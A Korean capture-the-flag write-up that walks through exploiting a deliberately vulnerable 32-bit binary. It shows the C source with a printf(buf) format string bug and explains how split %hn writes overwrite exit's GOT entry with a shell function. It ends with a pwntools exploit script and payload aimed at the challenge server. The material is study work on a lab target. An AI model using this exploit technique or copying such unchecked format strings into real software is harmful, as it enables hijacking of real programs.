32bit 환경의 바이너리에서 FSB 취약점을 이용하여 특정 주소에 원하는 값을 입력하는 방법

 

 

 

문제 분석

 

 

 

 1) Environment

Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

 

 

주어진 바이너리는 32bit 환경의 실행파일이다. Partial RELRO 보호기법이 적용되어 있으므로 GOT 값을 덮어쓸 수 있으며, PIE 보호기법이 적용되어있지 않아 코드 영역의 주소가 고정되어 있음을 알 수 있다.

 

 

 

 

 2) Source Code

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

 

 

 

해당 소스 코드를 살펴보면 main() 함수 내에 있는 printf() 함수에서 FSB(Format String Buf) 취약점이 발생한다.

 

 

 

또한 셸을 호출하는 get_shell() 함수를 소스 코드 내 정의하고 있으므로, FSB 취약점을 통해 exit() 함수의 GOT에 get_shell() 함수의 주소값을 덮어씌우면 을 획득할 수 있다.

 

 

 

 

 

 


문제 풀이

 

 

 

먼저 pwndbg를 통해 get_shell() 함수의 주소를 확인한다.

get_shell() : 0x08048609

 

pwndbg를 통해 확인한 get_shell() 함수의 주소

 

 

 

get_shell() 함수의 주소값을 넣어줄 <exit@got.plt>의 주소도 확인해 준다.

<exit@got.plt> : 0x0804a024

 

pwndbg를 통해 확인한 <exit@got.plt>의 주소

 

 

 

이제 취약점을 통해 read() 함수를 통해 형식 지정자 %n을 이용하여 exit()의 GOT 값을 get_shell()의 주소값으로 덮어쓰는 페이로드를 작성할 수 있다.

 

 

 

그러나, get_shell()의 4byte의 주소의 값을 그대로 덮어 쓰려하면 범위를 벗어나기 때문에 2byte씩 나누어 써주어야 한다. 이때 4byte씩 덮어쓰는 %n이 아닌 2byte씩 덮어쓰는 %hn을 사용한다.

Input : [값을 넣을 주소]%[참조할 인자의 인덱스]$n                                                                   => [X]
Input : [값을 넣을 주소][값을 넣을 주소]%[참조할 인자의 인덱스]$hn%[참조할 인자의 인덱스]$hn        => [O]

 

 

 

또한 리틀엔디안 방식이므로 get_shell() 함수의 상위 2byte 주소값을 <exit@got.plt+2>에, 하위 2byte 주소값을 <exit@got.plt>에 써주어야 한다. 이후 소스 코드의 흐름을 따라 exit() 함수가 호출되면, 변조된 GOT 값을 통해 get_shell() 함수가 호출되어 셸을 획득할 수 있다.

 

GOT Overwite를 통해 셸을 호출하는 과정

 

 

 

get_shell() 함수의 주소값을 2byte씩 나누어 <exit@got.plt+2>, <exit@got.plt> 주소에 각각 덮어쓰기를 할 것이므로, 바이너리를 실행하여 다음과 같이 8byte 크기의 문자열을 형식 지정자와 같이 입력하여 입력한 값이 저장되는 위치를 확인한다.

Input : AAAABBBB %p %p %p %p %p

 

./fsb002의 출력 결과를 통해 확인한 스택값
pwndbg를 통해 확인한 ./fsb002의 스택 구조

 

 

출력 결과 및 스택 값을 살펴보면, 첫 번째 위치부터 입력값이 순차적으로 들어있음을 확인할 수 있다. "AAAABBBB" 대신 exit() 함수의 GOT 주소값을 나누어 넣어주고 형식 지정자 %hn을 사용하면 해당 주소에 있는 값을 조작할 수 있다.

 

 

 

 

다음과 같은 형식으로 입력하면 exit() 함수의 GOT 주소에 get_shell() 함수 주소값을 덮어쓸 수 있다.

 

  • <exit@got.plt+2> : exit() 함수의 got 주소에서 2byte 뒤에 있는 주소값 4byte
  • <exit@got.plt> : exit() 함수의 got 주소값 4byte
  • x : get_shell() 함수 주소값의 상위 2byte (int형)
  • y : get_shell() 함수 주소값 하위 2byte (int)

 

 

이후 exit() 함수가 호출되면 조작된 GOT 값을 통해 셸이 실행된다.

 

 

 

 

 

 


익스플로잇

 

 

 

python3과 pwntools 모듈을 이용한 최종 익스플로잇 코드는 다음과 같다. 아래와 같이 GOT의 값은 모듈 내장 함수를 사용하여 획득할 수도 있다.

 

from pwn import *

p = remote("host3.dreamhack.games", 18047)
e = ELF("./fsb002")

exit_got = e.got["exit"]

payload = p32(exit_got+2) + p32(exit_got)
payload += b"%2044c%1$hn%32261c%2$hn"

p.sendline(payload)

p.interactive()

 

 

 

 

 

 


 

참고) 포맷 스트링 버그(Format String Bug, FSB) 개념 및 원리

포맷 스트링 버그(Format String Bug, FSB) 취약점

 

 

+ Recent posts